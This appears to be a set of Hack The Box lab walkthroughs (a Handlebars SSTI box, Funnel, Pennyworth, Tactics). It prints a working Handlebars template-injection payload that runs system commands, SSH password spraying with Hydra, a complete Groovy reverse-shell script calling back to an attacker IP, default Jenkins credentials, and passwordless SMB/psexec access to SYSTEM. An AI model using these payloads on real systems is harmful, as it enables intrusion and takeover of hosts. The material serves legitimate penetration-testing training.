This means that the payload was indeed detected as valid by the template engine, however the code had some error and was unable to be executed. An error is not always a bad thing. On the contrary for a Penetration Tester, it can provide valuable information. In this case we can see that the server is running from the /root/Backend directory and also that the Handlebars Template Engine is being used.

Exploitation:

Looking back at Hacktricks, we can see that both Handlebars and Node.js are mentioned, as well as a payload that can be used to potentially run commands on a Handlebars SSTI.

To determine if this is the case, we can use Burpsuite to capture a POST request via FoxyProxy and edit it to include our payload. We provide a great module on Using Web Proxies. If you have not used BurpSuite before it will provide a lot of valuable information.

https://academy.hackthebox.com/module/details/110

After BurpSuite has been started and the web proxy correctly configured, submit the payload again. BurpSuite should capture the request and allow you to edit it.

Before we modify the request, let's send this HTTP packet to the Repeater module of BurpSuite by pressing CTRL+R . Now let's grab a payload from the section that is titled " Handlebars (NodeJS) " in the HackTricks website

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return require('child_process').exec('whoami');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

This line instructs the server to execute a specific system command (in this case whoami ). Later in the writeup we will be modifying this line to execute different commands on the server. After copying the full payload from Hacktricks, we must URL encode it so that it will be correctly passed to the server.

URL Encoding:

When making a request to a web server, the data that we send can only contain certain characters from the standard 128 character ASCII set. Reserved characters that do not belong to this set must be encoded. For this reason we use an encoding procedure that is called URL Encoding

Let's paste the above payload into the top pane of the Decoder and select Encode as > URL .

Copy the URL encoded payload that is in the bottom pane and paste it in the email= field via the request tab. The response shows an error that states require is not defined . Taking a look at the payload we notice the following code.

{{this.push "return require('child_process').exec('whoami');"}}

This is likely the part of the payload that is erroring out. require is a keyword in Javascript and more specifically Node.js that is used to load code from other modules or files. The above code is attempting to load the Child Process module into memory and use it to execute system commands (in this case whoami ). Template Engines are often Sandboxed, meaning their code runs in a restricted code space so that in the event of malicious code being run, it will be very hard to load modules that can run system commands. If we cannot directly use require to load such modules, we will have to find a different way.

https://nodejs.org/api/child_process.html

Globals:

https://nodejs.org/api/globals.html
https://nodejs.org/api/globals.html#global-objects
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects

In computer programming "Globals" are variables that are globally accessible throughout the program. In Node.js this works similarly, with Global objects being available in all loaded modules. A quick Google search using the keywords Node.js Global Scope reveals this documentation that details all of the available Global Objects in Node.js. It is worth noting that the documentation also showcases a list of variables that appear to be global objects, but in fact are built-in objects. These are the following:

__dirname
__filename
exports
module
require()

As seen from the list, require is in fact not in the global scope and therefore in specific cases it might not be accessible. Taking a closer look at the documentation we see that there is a process object available. The documentation states that this object provides information about, and control over, the current Node.js process. We might be able to use this object to load a module. Let's see if we can call it from the SSTI. Modify your payload as follows:

https://nodejs.org/api/process.html#process

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return process;"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

URL encode the payload as shown previously and send it using BurpSuite Repeater.

The response did not contain an error and we can see the [object process] has been included. This means that the process object is indeed available.

Taking a closer look at the documentation of the process object, we see that it has a mainModule property that has been deprecated since version 14.0.0 of Node.js, however, deprecated does not necessarily mean inaccessible. A quick Google search using the keywords Node.js mainModule reveals this blog post that details the usage of this property.

https://nodejs.org/api/process.html
https://nodejs.org/api/process.html#processmainmodule
https://www.geeksforgeeks.org/node-js-process-mainmodule-property/

Specifically, it mentions that this property returns an object that contains the reference of main module. Since handlebars is running in a sandboxed environment, we might be able to use the mainModule property to directly load the main function and since the main function is most probably not sandboxed, load require from there. Let's modify our payload once more to see if mainModule is accessible

No error this time either and we see an extra object at the end of the response, which means the property is indeed available. Now lets attempt to call require and load a module. We can load the child_process module as it is available on default Node.js installations and can be used to execute system commands. Modify the payload as follows:

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return process.mainModule.require('child_process');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

We will need to URL encode the above payload once again.

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return
process.mainModule.require('child_process').execSync('whoami');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

-------------------------------------------------------------------------------------

FUNNEL - VIP - LINUX - VERY EASY

TAGS: FTP, PostgreSQL, Reconnaissance, Tunneling, Password Spraying, Port Forwarding, Anonymous/Guest Access, Clear Text Credentials

Enumeration:

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.228.195

We find two open ports, namely port 21 , running a service called vsftpd 3.0.3 , and port 22 , running OpenSSH . The former is a service for the File Transfer Protocol - FTP , which is designed to upload, download, and transfer files from one location to another between computer systems.

Users could connect to the FTP server anonymously if the server is configured to allow it, meaning that we could use it even if we had no valid credentials. If we look back at our nmap scan result, the FTP server is indeed configured to allow anonymous login:

ftp-anon: Anonymous FTP login allowed (FTP code 230)

If you need a refresher, the ftp -h command will help you figure out the available commands for the FTP service on your local host.

The prompt will then ask us for our login credentials, which is where we can fill in the anonymous username. In our case, the FTP server does not request a password, and inputting the anonymous username proves enough for us to receive the 230 code, Login successful.

┌──(kali㉿kali)-[~]
└─$ ftp 10.129.228.195

ftp> help

We will use dir and get to list the directories and download the files stored on the FTP server. With the dir command, we can check the contents of our current directory on the remote host, and find a directory called mail_backup .

ftp> dir
ftp> cd mail_backup

The directory listing shows that two files exist inside this folder. Both files can easily be downloaded using the get command. The FTP service will report the download status completion back to you during this phase. It should not take long to have them both sitting snuggly on your attacking VM.

ftp> get password_policy.pdf
ftp> get welcome_28112022

Termination of the FTP connection can be done by using the exit command. This will return the current terminal tab to its' previous state.

ftp> exit

Immediately after exiting the FTP service shell, we can type in the ls command to check if our files are present in the directory we were last positioned in. We can use the cat command, followed by the filename, to read one of the files

cat welcome_28112022

Since the other file we downloaded, namely password_policy.pdf , is a PDF file, we cannot use cat to display it, but will rather view it using the conventional way and open it with whichever document viewer is installed by default on our system. To open the current working directory in a file manager window, we can use the open command, followed by the path to the target directory. The current working directory can be referred to as a single period . , meaning we don't have to actually write the full path.

open .

Foothold:

Overall, our enumeration yielded a handful of potential usernames, as well as a default password. We also know that SSH is running on the target machine, meaning we could attempt to bruteforce a usernamepassword combination, using the credentials we gathered. This type of attack is also referred to as password spraying, and can be automated using a tool such as Hydra .

Hydra In order to conduct our attack, we need to create a list of usernames to try the password against. To do so, we can refer to the email we read earlier, extracting the usernames of all the addresses into a list called usernames.txt , making sure to only include the part before @funnel.htb .

┌──(kali㉿kali)-[~]
└─$ nano usernames.txt 

┌──(kali㉿kali)-[~]
└─$ cat usernames.txt   

Finally, we can now task Hydra with executing the attack on the target machine. Using the -L option, we specify which file contains the list of usernames we will use for the attack. The -p option specifies that we only want to use one password, instead of a password list. After the target IP address, we specify the protocol for the attack, which in this case is SSH.

┌──(kali㉿kali)-[~]
└─$ hydra -L usernames.txt -p 'funnel123#!#' 10.129.228.195 ssh

After just a few seconds hydra gets a valid hit on the combination christine:funnel123#!# . We can now use these credentials to gain remote access to the machine, as the user christine.

SSH

┌──(kali㉿kali)-[~]
└─$ ssh christine@10.129.228.195

christine@funnel:~$ id

Enumeration:

From this point on, we have complete access as the christine user on the target machine, and can start enumerating it for potential files or services that we can explore further. A crucial command at this point in time is the ss command, which stands for socket statistics , and can be used to check which ports are listening locally on a given machine.

christine@funnel:~$ ss -tln

-l: Display only listening sockets.
-t: Display TCP sockets.
-n: Do not try to resolve service names.

The output reveals a handful of information; we will analyse it bit-by-bit. The first column indicates the state that the socket is in; since we specified the -l flag, we will only see sockets that are actively listening for a connection. Moving along horizontally, the Recv-Q column is not of much concern at this point, it simply displays the number of queued received packets for that given port; Send-Q does the same but for the amount of sent packets. The crucial column is the fourth, which displays the local address on which a service listens, as well as its port. 127.0.0.1 is synonymous with localhost , and essentially means that the specified port is only listening locally on the machine and cannot be accessed externally. This also explains why we did not discover such ports in our initial Nmap scan. On the other hand, the addresses 0.0.0.0 , * , and [::] indicate that a port is listening on all intefaces, meaning that it is accessible externally, as well as locally, which is why we were able to detect both the FTP service on port 21 , as well as the SSH service on port 22 .

Among these open ports, one particularly sticks out, namely port 5432 . Running ss again without the -n flag will show the default service that is presumably running on the respective port.

christine@funnel:~$ ss -tl

In this case, the default service that runs on TCP port 5432 is PostgreSQL , which is a database management system: creating, modifying, and updating databases, changing and adding data, and more. PostgreSQL can typically be interacted with using a command-line tool called psql , however, attempting to run this command on the target machine shows that the tool is not installed.

Seeing as we do not have administrative privileges, we now find ourselves at a bit of a crossroad. The service which most likely has the flag is hidden locally on the target machine, and the tool to access that service is not installed. While there are some potential workarounds involving uploading static binaries onto the target machine, an easier way to bypass this roadblock is by a practice called port-forwarding, or tunneling, using SSH.

Tunneling:

As stated, there are multiple options to take at this point when it comes to the actual port forwarding, but we will opt for local port forwarding (you can find the dynamic version in this document's appendix.)

To use local port forwarding with SSH , you can use the ssh command with the -L option, followed by the local port, remote host and port, and the remote SSH server. For example, the following command will forward traffic from the local port 1234 to the remote server remote.example.com 's localhost interface on port 22:

ssh -L 1234:localhost:22 user@remote.example.com

When you run this command, the SSH client will establish a secure connection to the remote SSH server, and it will listen for incoming connections on the local port 1234 . When a client connects to the local port, the SSH client will forward the connection to the remote server on port 22 . This allows the local client to access services on the remote server as if they were running on the local machine. In the scenario we are currently facing, we want to forward traffic from any given local port, for instance 1234 , to the port on which PostgreSQL is listening, namely 5432 , on the remote server. We therefore specify port 1234 to the left of localhost , and 5432 to the right, indicating the target port.

┌──(kali㉿kali)-[~]
└─$ ssh -L 1234:localhost:5432 christine@10.129.228.195
Pass: funnel123#!#

After entering christine 's password, we can see that we have a shell on the target system once more, however, under its hood, SSH has opened up a socket on our local machine on port 1234 , to which we can now direct traffic that we want forwarded to port 5432 on the target machine. We can see this new socket by running ss again, but this time on our local machine, using a different shell than the one we used to establish the tunnel.

ss -tlpn

In order to interact with the remote service, we must first install psql locally on our system. This can be done easily using the default package manager (on most pentesting distros), apt.

sudo apt update && sudo apt install psql

Using our installation of psql , we can now interact with the PostgreSQL service running locally on the target machine. We make sure to specify localhost using the -h option, as we are targeting the tunnel we created earlier with SSH , as well as port 1234 with the -p option, which is the port the tunnel is listening on.

┌──(kali㉿kali)-[~]
└─$ psql -U christine -h localhost -p 1234
funnel123#!#

Once again, we are prompted for a password, which turns out to be the default password funnel123#!# . We have successfully tunnelled ourselves through to the remote PostgreSQL service, and can now interact with the various databases and tables on the system. In order to list the existing databases, we can execute the \l command, short for \list .

\l

Five rows are returned, including a database with the ominous name secrets . Using the \c command, short for \connect , we can select a database and proceed to interact with its tables.

\c secrets

Finally, we can list the database's tables using the \dt command, and dump its contents using the conventional SQL SELECT query.

\dt
SELECT * FROM flag;

Dynamic Port Forwarding:

Instead of local port forwarding, we could have also opted for dynamic port forwarding, again using SSH. Unlike local port forwarding and remote port forwarding, which use a specific local and remote port (earlier we used 1234 and 5432 , for instance), dynamic port forwarding uses a single local port and dynamically assigns remote ports for each connection.

To use dynamic port forwarding with SSH, you can use the ssh command with the -D option, followed by the local port, the remote host and port, and the remote SSH server. For example, the following command will forward traffic from the local port 1234 to the remote server on port 5432, where the PostgreSQL server is running:

ssh -D 1234 christine@{target_IP}

As you can see, this time around we specify a single local port to which we will direct all the traffic needing forwarding. If we now try running the same psql command as before, we will get an error.

That is because this time around we did not specify a target port for our traffic to be directed to, meaning psql is just sending traffic into the established local socket on port 1234 , but never reaches the PostgreSQL service on the target machine.

To make use of dynamic port forwarding, a tool such as proxychains is especially useful. In summary and as the name implies, proxychains can be used to tunnel a connection through multiple proxies; a use case for this could be increasing anonymity, as the origin of a connection would be significantly more difficult to trace. In our case, we would only tunnel through one such "proxy"; the target machine. The tool is pre-installed on most pentesting distributions (such as ParrotOS and Kali Linux ) and is highly customisable, featuring an array of strategies for tunneling, which can be tampered with in its configuration file /etc/proxychains4.conf .

The minimal changes that we have to make to the file for proxychains to work in our current use case is to:

  1. Ensure that strict_chain is not commented out; ( dynamic_chain and random_chain should be commented out)

  2. At the very bottom of the file, under [ProxyList] , we specify the socks5 (or socks4 ) host and port that we used for our tunnel

In our case, it would look something like this, as our tunnel is listening at localhost:1234 .

<SNIP>
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1234

Having configured proxychains correctly, we can now connect to the PostgreSQL service on the target, as if we were on the target machine ourselves! This is done by prefixing whatever command we want to run with proxychains , like so:

proxychains psql -U christine -h localhost -p 5432

This should hopefully demonstrate the beauty of dynamic port forwarding, as we can specify the target port freely and in accord with each command we want to run. If we wanted to cURL a webserver on port 80 , for instance, during local port forwarding we would have to run the tunneling command all over again and change up the target port. Here, we can simply prefix our cURL command with proxychains , and access the webserver as if we were on the target machine ourselves; no need for any extra specification- hence, dynamic

-------------------------------------------------------------------------------------

PENNYWORTH - VIP - LINUX - VERY EASY

TAGS: Web, Common Applications, Jenkins, Java, Reconnaissance, Remote Code Execution, Default Credentials

Enumeration:

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.182.123

From the output of the scan, we find a singular result of interest. Jetty version 9.4.39.v20210325 is running on an open TCP port 8080. Like any other HTTP server, we will need to use our browser to explore this service easily. Navigating to the IP address of the target through our URL search bar will yield an error, as we will need to specify the port the service is running on. Looking back at the scan, the service is not running on port 80, which is the one your browser would be expecting if you input the IP address of the target alone. However, if we specify the IP:PORT combination as shown below, we will meet the following result.

The HTTP server seems to be running a Jenkins service. A small summary of this service can be found in the snippet below. It will give us a general idea of the capabilities of such a service and how it might interact with the backend. Any interactions are essential, as they can serve as a gateway to gaining a foothold on the host running everything in the backend. If any of them is misconfigured, they could prove to be an easy path of exploitation for an attacker

The only hint of leverage we currently have against this login screen would be to attempt logging in using default credentials. In the hopes that the server administrators have not yet finished configuring the Jenkins service. We can perform a Google search for the default Jenkins login credentials on a fresh install. The following results are returned:

admin:password
admin:admin
root:root
root:password
admin:admin1
admin:password1
root:password1

Fortunately, we were right. Attempting multiple combinations from the list above, we land on a successful login and are presented with the administrative panel for the Jenkins service. Now, it is time to look around.

Foothold:

At the bottom right corner of the page, the current version of the Jenkins service is displayed. This is one of the first clues an attacker will check - specifically if the currently installed version has any known CVE's or attack methods published on the Internet. Unfortunately, this is not our case. The current version is reported as secure. As an alternative, we stumble across two vital pieces of information while searching for Jenkins exposures.

https://cloud.hacktricks.xyz/pentesting-ci-cd/jenkins-security
https://github.com/gquere/pwn_jenkins

In both links provided above the Jenkins Script Console is mentioned, where what is known as Groovy script can be written and run arbitrarily. To access it, you need to navigate to the left menu, to Manage Jenkins > Script Console , or by visiting the following URL directly from your browser URL search bar:

http://10.129.182.123:8080/script

Since it only executes the Groovy commands, we will need to create a payload in Groovy to execute the reverse shell connection. Specifically, we will make the remote server connect to us by specifying our IP address and the port that we will listen on for new connections. Through that listening port, the target will end up sending us a connection request, which our host will accept, forming an interactive shell with control over the target's backend system. In order to do that, we will need a specially crafted payload, which we can find in the following GitHub cheatsheet.

The payload we are looking for is as below. This snippet of text has only the {your_IP} part at the very first line which needs to be changed to fit your specific case. In this case, you will need to find out your IP address from the deployed VPN connection. After replacing the {your_IP} bit with your IP address, you can paste this whole snippet into the Script Console in Jenkins.

String host="10.10.16.19";
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

In order to get your IP address for the currently deployed VPN connection, you need to open a new terminal tab or window and input the ip a | grep tun0 command. The output will look as below, and the IP address you need to replace in the snippet above is marked in green.

After finding out your IP address for the tun0 interface and replacing it in the Script Console, you can look at what each of the 3 top lines in the code block achieve for a better understanding of the payload.

The rest of the script will instruct the target to create a cmd process which will initialize a connection request to the provided host and port (us, in this case). Our listener script will be running on the specified port and catch the connection request from the target, successfully forming a reverse shell between the target and attacker hosts. On our side, this will look like a new connection is received and that we can now type in the target host's terminal. This will not be visible on the target's side unless they are actively monitoring the network activity of their running processes or the outbound connections from their ports. Before running the command pasted in the Jenkins Script Console, we need to make sure our listener script is up and running on the same port as specified in the command above, for int port=8000 . To achieve this, we will use a tool called netcat or nc for short. Looking at the Wikipedia article for netcat, we can learn more about its' use.

NETCAT

Netcat comes pre-installed with every Linux distribution, and in order to see how to use it, we can input the nc -h command into our terminal window.

┌──(kali㉿kali)-[~]
└─$ nc -h   

After a short analysis of the help output, we can open a new terminal tab and type in the following command to start a netcat listener on the specified port. This will make our attacker host ready to receive connections from the target, the last remaining step before launching the script we placed in the Jenkins Script Console.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8000

l : Listening mode.
v : Verbose mode. Displays status messages in more detail.
n : Numeric-only IP address. No hostname resolution. DNS is not being used.
p : Port. Use to specify a particular port for listening.

Now that our listener is turned on, we can execute the payload by clicking the Run button.

Once the script is run, we can navigate to the terminal where netcat is running and check on the connection state. From the output, we understand that a connection has been received to {your_IP} from {target_IP} , and then blank space. We can try to interact with the shell by typing in the whoami and id commands. These commands help verify our permission level on the target system. From the output, we can quickly determine that we rest at the highest level of privilege.

whoami 
id 

ls
cd /root
ls 
cat flag.txt 

-------------------------------------------------------------------------------------

TACTICS - VIP - WINDOWS - VERY EASY

TAGS: Network, Protocols, SMB, Reconnaissance, Misconfiguration

Enumeration:

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sC 10.129.253.165

-Pn : Treat all hosts as online -- skip host discovery
-sC : Equivalent to --script=default

According to the results of the nmap scan, the machine is running the Windows and the Server Message Block service on port 445. We have found our target. Below is a short summary of each port discovered and its' functionality, for some background information on the target. Documenting these ports and the target in general is vital before starting any kind of attack. It will help you avoiding a crashed target or a Firewall block and alert.

Inherently, SMB (Server Message Block) is a file sharing protocol, which means that we might extract some useful byproducts by exploring it. This can be achieved by using the smbclient tool. It comes pre-installed with the Parrot OS used by Pwnbox, but if you don't have it on your VM, you can install it by running the command below.

┌──(kali㉿kali)-[~]
└─$ sudo apt install smbclient

If, however, you want to learn more detail about what each command accomplishes, you can access the complete manual for the smbclient tool byvtyping the man smbclient command in your terminal window.

┌──(kali㉿kali)-[~]
└─$ smbclient -h   

Upon exploring the choices, we will settle on the command below, in order to list the various available shares ( -L ) and to attempt a login as the Administrator account, which is the high privilege standard account for Windows operating systems. Typically, the SMB server will request a password, but since we want to cover all aspects of possible misconfigurations, we can attempt a passwordless login. Simply hitting the Enter key when prompted for the Administrator password will send a blank input to the server. Wether it accepts it or not, we still need to discover.

┌──(kali㉿kali)-[~]
└─$ smbclient -L 10.129.253.165 -U Administrator

-L : List available shares on the target.
-U : Login identity to use.

Foothold:

From here we have two options of attack. One is loud, one is not.

Smbclient simple navigation to C$ share with Administrator authorization PSexec.py from Impacket, involving Impacket installation and common attack surface, big fingerprinting.

Option A: SMB Unprotected C$ Share

┌──(kali㉿kali)-[~]
└─$ smbclient \\\\10.129.253.165\\ADMIN$ -U Administrator

Instead of accessing the ADMIN$ share, we can access the C$ share, which is the file system of the Windows machine:

┌──(kali㉿kali)-[~]
└─$ smbclient \\\\10.129.253.165\\C$ -U Administrator

We have access to the file system. From here, we will directly navigate to the standard root flag location on any Hack The Box Windows vulnerable machine: C:\Users\Administrator\Desktop . Using the dir command, we discover the flag file present snuggly on our system.

smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> dir
smb: \Users\Administrator\Desktop\> get flag.txt

Option B: Impacket

PsExec

We managed to get the SMB command-line interactive interface. However, since we can access this ADMIN$ share, we will try to use a tool called psexec.py to exploit this misconfiguration & get the interactive system shell. The psexec.py is part of the Impacket framework.

One of the most commonly used tools in impacket is psexec.py . It is named after the utility, PsExec from Microsoft’s Sysinternals suite since it performs the same function of enabling us to execute a fully interactive shell on remote Windows machines

Impacket creates a remote service by uploading a randomly-named executable on the ADMIN$ share on the remote system and then register it as a Windows service.This will result in having an interactive shell available on the remote Windows system via TCP port 445. Psexec requires credentials for a user with local administrator privileges or higher since reading/writing to the ADMIN$ share is required. Once you successfully authenticate, it will drop you into a NT AUTHORITY\SYSTEM shell.

┌──(kali㉿kali)-[~]
└─$ psexec.py -h  

The syntax for simply getting an interactive shell from a target:

python psexec.py username:password@hostIP

From the previous method in which we used smbclient , so we know that there is no password for the 'Administrator' user. So, the command we are going to run is:

┌──(kali㉿kali)-[~]
└─$ psexec.py administrator@10.129.253.165 

When it prompts for entering a password, simply press enter (as there is no password).

We got the shell with the highest privileges, i.e. as user NT Authority/System . Awesome! Now, you can browse the file system and retrieve the flag. However, using the pkexec utility is often preferred in simulated testing environments, but it can be easily detected by the Windows Defender in real-world assessments.

Last updated